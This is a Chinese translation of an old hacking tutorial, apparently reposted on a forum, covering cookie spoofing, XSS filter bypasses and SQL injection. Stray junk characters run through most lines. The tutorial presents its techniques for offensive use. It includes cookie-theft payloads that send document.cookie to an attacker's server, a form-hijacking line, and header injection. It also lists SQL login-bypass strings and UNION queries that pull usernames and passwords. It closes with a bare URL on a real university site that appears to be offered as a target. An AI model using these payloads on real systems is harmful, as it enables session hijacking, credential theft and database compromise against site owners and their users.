XSS & SQL注入

admin

XSS & SQL注入
0 K1 u) M6 i$ [6 K. R" D/ J+ j$ o文章作者：CyberPhreak
译文作者：黯魂 [S.S.T]
* J  d% T1 C( e# S& O3 u. R9 D
2 h, h1 [! ?) {1 T
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

! h+ I# v+ j) Y( Q( o$ q
~介绍

在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.

XXXXXXXXXXXXXXXXXXXXX
- D  j1 K) K9 x9 @; pX Table OF Contents X
XXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXX
X Cookie Editing X
X XSS X
1 h/ D! T6 f. A. EX SQL Injection X
1 Y7 g2 y4 F3 t' L' I9 t/ DXXXXXXXXXXXXXXXXXXXX
9 |% y; W8 m2 Z+ b
~什么是cookie

cookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.

~警告&欺骗
# M: V$ M1 U, }( J1 z; b
+ h+ l* D" T( o* q: U  D6 k那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:

strusername=cnsst;strpassword=cnsst

此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...

~什么是XSS

XSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.

7 \+ P2 L% J, K9 [4 q' b~为什么使用XSS

+ d: r3 w/ {- P/ W2 @2 a3 b很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.

" `% m# k8 {8 n6 I8 D~让我们开始吧…
6 M7 ~! m" I- g$ p9 x/ K4 Y
1 i$ K8 _' I$ Q: g: l我假定你知道html和javascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.
: y" l3 a# z% H; p9 ]
XSS--跨站脚本&lt;html&gt;

5 z, F( I% @6 e) M9 i6 a&lt;body&gt;

" ?# S0 ^6 @6 n- F$ @&lt;form action="" method="GET"&gt;

&lt;!-- 我使用的GET方法,因为当我们利用的时候更容易练习. --&gt;
" b. t8 K+ f9 v5 Y- m0 w  `
Script: &lt;input name="name" type="name"&gt;

( _; r1 s" |0 y) z&lt;input type="submit" value="submit"&gt;

&lt;/form&gt;
, s, v- H1 d2 M# Q& ?0 k
  Q) s! h) z+ w- N, Y&lt;/body&gt;

& W0 B9 |+ b' [3 v, \&lt;/html&gt;
/ `0 }, }$ f7 h& Y! J3 I
, O# h9 r% ~$ i! V( G: B5 D: J

/ n* t* t: A9 i: r0 i1 K+ k! T&lt;?php
; V$ D2 h( X5 e2 B
7 p1 Z7 c/ o* x4 d$name = $_GET['name'];
$ m, j. D) g1 I3 j8 M5 p! S
7 k9 T! n8 T0 G! j' O' M2 Uecho("Hello $name");

- v# j% q/ Q: W& x$ x?&gt;
0 c6 o1 l6 L* z复制代码OK,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:
% X3 `6 m* I) M; w3 s% K  e, K" v
cnsst
6 d- e) z4 X+ p4 w"Hello cnsst!"
* H+ Y  X. u! ^% @6 H
: r5 j5 e4 ?# I% u引号内的信息就是输出信息..注意看,现在我输入:
+ z1 }, r0 U4 a6 b  H, @8 F<script>alert(document.cookie)</script>
3 i* Y; X; k" N3 D& k  L  R
& N) E, X. l0 u1 o3 V( e那么它将会弹出document.cookie!所以它是易受XSS攻击的!
9 A- W3 a- K) }' j, F
现在我们已经对XSS有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的:JavaScript,html, VBScript等等...
) x- A! H, ?6 k+ B: o
" B# ^9 O5 M8 W/ |: @# c- Q服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有php,asp等等...

* G" q1 z- s( b- m/ u已有一些方法注入php,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入javascript?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因为XSS允许你让网站运行你想要运行的任何脚本.

让我们看一个稍微复杂点的例子!

+ p5 E4 p% ?' v假设你已经输入了<script>alert(document.cookie)</script>,并且回显是这样的:
scriptalert(document.cookie)/script
9 }2 z' {$ F; e7 C( s% |或者可能是这样的:
% R7 s* L" N9 X4 iscriptalertdocument.cookie/script
3 W. D) p7 s+ r1 O
可以看出更难利用了...不过有很多方法使用XSS,这只是其中一种.而且是其中最烂的方法之一.你看到当中的"<>"都被空字符" "替换了.
" h3 E% e" G$ \: e, l
% B" r# @7 v, ^9 j让我们继续利用:
4 v: j6 {7 c, O! L( w<<script>>alert(document.cookie)<</script>>
3 s' e. v: ?; J6 \& U
4 ]- t0 @3 p1 U3 n+ x- m. i你的输出将弹出document.cookie.
2 K  m3 j+ m1 l5 R0 k
/ G  L0 M. i* H. V" @! G& a, J0 q现在来看看更狠的:
* G! E) i) H( b# e! [<<script>>alert((document.cookie))<<//script>>


  j$ s$ y- S9 c) Q$ }6 Q3 g3 A他们可能会替换所有的,或者只是"<>".所以如果一对不能得以执行,另一对就可以.现在,如果你看到:
$ ]6 n& `1 R, x& W. K/ X, ?1 c6 mscriptalertdocument.cookie/script
1 z9 K# B, j: I( f5 w/ l& \/ X) L% r或者 <<<script>>>alert(document.cookie)<<</script>>>  

1 B, E& f4 }: _7 I, M+ Q- T/ ?他们可能替换2对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:
<script>alert(document.cookie)</script>

输出像这样:srplert(document.cookie)srp

+ I% D. s1 p% a" c8 A1 b9 C& M仔细观察,你就会发现document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是猜测,就只阻止了"<>"以及script部分.怎么绕过?看看这个:
5 m( U8 K1 @; U8 C4 F4 U) w<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>
. w7 a3 G% e8 r; l
  |; M- `: b2 O; ^. P4 Y所有重复多余的部分刚好被替换!现在让我们来点更高级的!

: R+ P* h2 X, j9 B2 D这次他们使用的仍然是替换,但是却检查了整个字符串!例如:
9 ^# w1 m! n! D<script>alert(document.cookie)</script>

输出将是:
scriptalert(document.cookie)script

看到这,你激动地说,"我知道该怎么做了!" OK,让我们按照你的方法来重新构造:
6 V' E/ b- ^# g. I<<script>>alert(document.cookie)<</script>>
( c% V; ]( y. `! l! Y$ C% V; K
输出:scriptalert(document.cookie)script. 这时你可能会继续增加更多的<>.可是,他们替换了任何"<>",无论你输入多少个...看到我说"任何"了吗?使用下面这个例子:
2 q6 I* t% p  M% J0 E9 x' Y
<
script
>
alert
( `' u4 g6 Z7 X1 i" f5 e$ j2 x(
document
.
: Y7 W: S- L4 \6 Hcookie
)
<
/
, I$ y, V9 j5 l  Zscript
>

0 {9 O  A) \/ S0 n" H7 c  {
看看它,它没有替换"<>",它替换代码关键字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是"alert"! 我们又该怎么改进呢?看看这个:
2 x  Y* E& \9 `<
s
c
r
i
p
$ J* X/ h  |0 s. [. ^t
& V% [( ^, C6 C) F>
* \& Y& n+ ~, _, `a
& S. |5 t9 V. N, T1 tl
/ A# D7 U+ h5 f/ ke
r
t
' ?2 s5 j- z# i' E! j+ x6 L8 ~(
, G8 }% U, F9 a7 N) {7 L$ Y) ?d
o
' L& f0 `0 P' p& H% L& _7 H; g4 {c
u
2 A; y$ P! _, k% m. \m
/ B  O- e4 D) o) R5 Ie
n
" a3 B% O# ]# A* s6 ?+ d. y$ D6 Jt
.
c
/ z; M$ D' Y) y( Z. N) }o
; J) }2 U$ b) W2 X# B& Uo
k
i
e
: {  m% n- W1 i& h3 l2 Q" N2 M$ F)
9 \( _9 F* F% [8 J<
/
s
c
" b7 s3 v/ W. x  r/ W( er
5 \: L7 a% y( k8 G9 J0 Pi
p
t
, j; W+ g8 V9 J3 `8 o2 Z/
>
" O6 p% A  B3 _
, u! f3 O! g! }7 x6 k$ M这下应该可以了,但是如果他们仍然替换"<",你可以增加2对"<< >>"(并且你可以用任何字符取代document.cookie)
0 i3 E2 n, v0 U$ ~( X0 l
还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.

现在让我来讲讲其他XSS方法.前面我们已经讨论了客户端XSS,那么现在就来看看服务器端XSS.
" `! @) v8 \* l9 j
首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如JavaScript (JS) VBScript (VBS)等而看到的.服务器端XSS是通过来自服务器端的语言,如php,asp等的XSS.客户端通过浏览器查看,服务器端通过服务器查看.

; r+ h+ X( ^! g8 z2 L, s9 ~我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.
  U. N8 t4 N2 O5 P0 Idocument.forms(0).action ="http://myserver/myscript.php
这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.
6 n: h( M* l% g. W3 @; g
再次假设你在网站上注册了一个帐号,并且可以自定义资料...
document.images(0).src="http://myserver/cookie.php"+document.cookie.
8 @0 m2 X9 r9 m& ]- n: `或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
javascript:location.href="http://myserver/cookie.php"+document.cookie
这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.
+ Z  @9 k; K0 I( U7 |' Z
有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,
! Q, f) s9 @' e/ l* jtelnet example.com
GET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
/ h1 l: n5 O: EUser-Agent: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
1 g+ q" k/ L3 v9 N' Q: VReferer: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
~什么是SQL注入
' {3 @1 p! Q5 n& h. h3 P
SQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:&lt;html&gt;
* v) m' A/ b5 L6 o; K1 u7 b
- y* a0 `' D# d4 F( k/ z0 d' t+ v( `&lt;body&gt;

) H% r  |. }9 U$ e. d4 Q) Q&lt;form action="" method="POST"&gt;

Username: &lt;input name="name" type="name"&gt;

Password: &lt;input name="password" type="password"&gt;
. V2 B: K) P' D" d* q& e$ O: c" I
& n9 e$ S8 _8 Z' M6 j&lt;input type="submit" type="submit" value="Submit"&gt;

1 U( w9 N+ h# v, @8 x1 O&lt;/form&gt;
2 k2 e+ {9 i4 N
&lt;/body&gt;
# b# P( F* ^" T+ U
/ h/ X& x7 y5 R/ V' ~+ K&lt;/html&gt;
; p9 ^. G; v8 R/ ]/ e" b! O9 r) G复制代码这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!
8 g+ |7 H. |0 E/ {
最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.

. i. d% |$ z" e8 ]'='
: G# ]* \" \' w9 s'OR 1=1--
  t2 Q. P( E; t8 k7 ^'OR a=a--
) \, U1 _" H5 M2 S" L'OR'
, [1 i  t$ {9 c7 a4 N
自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:

% D5 m* r- Y/ p$ a* O) A'OR''='
'OR"="
'OR'="
'OR '="
'OR "='
; ^4 h& ]. p9 S5 D+ w6 c! P/ k'OR ''='
'OR '=''
6 E9 \$ m, c2 z" z% |- }'OR "=''
'OR ''="

8 O; e& |! [$ l6 {: z
) [0 i% o. R  p$ e1 L- v7 o! h2 b~
7 ^5 E5 e6 v# v: j现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
UNION ALL SELECT username,password FROM users

) S9 L) w# y& ?4 p) w这个查询语句将执行,但是….如果毫无作用呢?
* q; k9 [% h2 z) \UNION ALL SELECT username,password FROM users WHERE username='OR "='
AND password='OR "='

5 x) V& F1 \  W2 j- s' ]$ G+ P你可能使用其他字符来替代'OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.
+ p  F. Z- _* A
一旦你发现了漏洞,你就会按照习惯去用类似'OR "='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
3 P8 r& k6 W* ~4 ^, i( NUNION ALL SELECT
7 n- }+ M; d2 g9 uip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
WHERE ip='OR''="
. f2 t# m- D- f2 ?# w+ B' d
  `9 ]/ A* s7 A( E! W, @  _现在你看到这个了吗?(我确信你已经看到了)
http://example.com/index.php?article=34
( W4 ]' `. E- O% h: Z1 S8 [那将浏览Id为34的文章...让我们用"'"替换34:
0 o& T/ L4 `. V& I  |http://example.com/index.php?article='
& U5 O; M5 H6 }, k4 x6 A8 E
1 `: J7 e9 U8 ^/ V
现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
; `2 J  q$ j$ W+ |4 M& H" [% Shttp://example.com/index.php?article='
: \: i1 f7 ^: ]) R: G4 I/ Ihttp://example.com/index.php?article='='
! W% T" f+ d. S, _http://example.com/index.php?article='OR 1=1--
http://example.com/index.php?article='OR a=a--
http://example.com/index.php?article='OR '="
http://example.com/index.php?article='OR "='
http://example.com/index.php?article='OR ''='
http://example.com/index.php?article='OR '=''
http://example.com/index.php?article='OR''='
) c( A8 H$ |- g7 j: w5 u7 S! i" r6 Ghttp://example.com/index.php?article='OR"'='
  ]2 j4 d! E7 p" z0 v4 d* rhttp://example.com/index.php?article='OR"''='

% Q* o% p  p8 v" E# A3 I! K尽情发挥自己的创造力!
http://www.ie.tsinghua.edu.cn/notice/show.php?id=704